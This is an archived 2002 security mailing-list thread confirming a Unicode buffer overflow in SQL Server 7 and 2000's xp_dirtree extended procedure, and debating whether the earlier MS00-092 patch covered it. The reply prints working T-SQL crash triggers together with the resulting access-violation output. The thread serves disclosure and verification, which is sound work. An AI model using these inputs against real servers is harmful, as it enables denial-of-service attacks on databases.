Re: Another Sql Server 7 Buffer Overflow

From: Aaron C. Newman (aaron@NEWMAN-FAMILY.COM)
Date: 03/07/02 

Date:         Thu, 7 Mar 2002 11:20:53 -0500
From: "Aaron C. Newman" <aaron@NEWMAN-FAMILY.COM>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

Russ,

The SHATTER research team at Application Security, Inc, has confirmed
that this buffer overflow does indeed still exist and that what Cesar
has discovered is not the same as the @stake advisory. Our findings are
as follows:

-- on SQL Server 2000
-- ms00-092.asp installed 8.00.233 - this is clearly a later version
select @@version
Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov 19 2001 13:23:50
Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on
Windows NT 5.0 (Build 2195: Service Pack 1)

DECLARE @test nvarchar(4000)
SET @test = (SELECT replicate(N'n',260))
execute xp_dirtree @test

ODBC: Msg 0, Level 19, State 1
SqlDumpExceptionHandler: Process 55 generated fatal exception c0000005
EXCEPTION_ACCESS_VIOLATION. SQL Server is terminating this process.
ODBC: Msg 0, Level 20, State 1
Stored function 'xp_dirtree' in the library 'xpstar.dll' generated an
access violation. SQL Server is terminating process 55.

-- The difference here is that the buffer is Unicode which was not
addressed in the @stake advisory, we have found non-unicode buffers seem
to be fixed

-- on SQL Server 7.0
-- ms00-092.asp installed 7.00.918 - this again is clearly a later
version
select @@version
Microsoft SQL Server 7.00 - 7.00.961 (Intel X86) Oct 24 2000 18:39:12
Copyright (c) 1988-1998 Microsoft Corporation Standard Edition on
Windows NT 5.0 (Build 2195: Service Pack 1)

DECLARE @test nvarchar(4000)
SET @test = (SELECT replicate(N'n',255))
execute xp_dirtree @test

ODBC: Msg 0, Level 20, State 1
Stored function 'xp_dirtree' in the library 'xpstar.dll' generated an
access violation. SQL Server is terminating process 7.
Connection Broken
-- clearly a Unicode buffer overflow exists

-- also below is a larger Unicode buffer overflow and a slightly
different error is raised
DECLARE @test nvarchar(4000)
SET @test = (SELECT replicate(N'n',1130))
execute xp_dirtree @test

ODBC: Msg 0, Level 19, State 1
SqlDumpExceptionHandler: Process 7 generated fatal exception c0000005
EXCEPTION_ACCESS_VIOLATION. SQL Server is terminating this process.
(server is crashed)

-- there is still a problem with non-Unicode buffers as well
DECLARE @test varchar(8000)
SET @test = (SELECT replicate('n',254))
execute xp_dirtree @test

(1 row(s) affected)

ODBC: Msg 0, Level 20, State 1
Stored function 'xp_dirtree' in the library 'xpstar.dll' generated an
access violation. SQL Server is terminating process 7.

Connection Broken

If you would like to verify if you are vulnerable to this attack, you
can download an Evaluation version of AppDetective for Microsoft SQL
Server from http://www.mssqlsecurity.com/cgi-bin/download.pl

Regards,
Aaron
________________________________
Aaron C. Newman
CTO/Founder
Application Security, Inc.
www.appsecinc.com
212-490-6022
- Protection Where It Counts -

-----Original Message-----
From: Windows NTBugtraq Mailing List
[mailto:NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM] On Behalf Of Russ
Sent: Thursday, March 07, 2002 10:39 AM
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: Another Sql Server 7 Buffer Overflow

A number of people have sent messages regarding Cesar's advisory about
SQL 7 and the xp_dirtree extended procedure overflow. Most notably,
people say that @stake discovered this some time ago as documented;

http://www.atstake.com/research/advisories/2000/a120100-2.txt

...and that Microsoft fixed it in MS00-092 in December of 2000;

http://www.microsoft.com/technet/security/bulletin/ms00-092.asp

However, let me point out a few things I think people may be
overlooking. I should caveat this by first saying that I have no
independent confirmation of Cesar's findings, so this isn't confirmation
of his assertions, but;

1. @Stake did not say they had discovered an overflow in xp_dirtree,
their advisory says there are overflows in other extended procedures,
but they simply reference xp_dirtree as an example of what an extended
procedure is, its not listed as one of the vulnerable procedures
according to them.

2. In MS00-092 and its associated KB article, Microsoft state the
problem existed (and was corrected) in the srv_paraminfo function. In
MSKB q280380 they provide a list of the extended procedures that used
this function, and xp_dirtree is not amongst them. Note that the KB does
not state the list they provide there is exhaustive, so its possible
that xp_dirtree was affected but is not listed.

3. Cesar says his testing included the latest patches, and his build
number is greater than the one provided by the MS00-092 patch (918 I
think), suggesting, at least, that he likely has already applied the
MS00-092 patch and yet still finds the system vulnerable to the
overflow.

In conclusion, I'm not trying to confirm or deny Cesar's claim, only
suggesting that discounting his advisory based on the assumption that
this was previously discovered and fixed may not be accurate. Nobody
from @stake has indicated they discovered this (something that would be
expected), nor has anyone from Microsoft said the issue was previously
fixed (something that would be expected too).

If anyone is aware of either of those things happening elsewhere, drop
me a note.

A good site on SQL Security is http://www.sqlsecurity.com, who have long
recommended that all extended procedures be dropped (if possible).

Cheers,
Russ - NTBugtraq Editor

Relevant Pages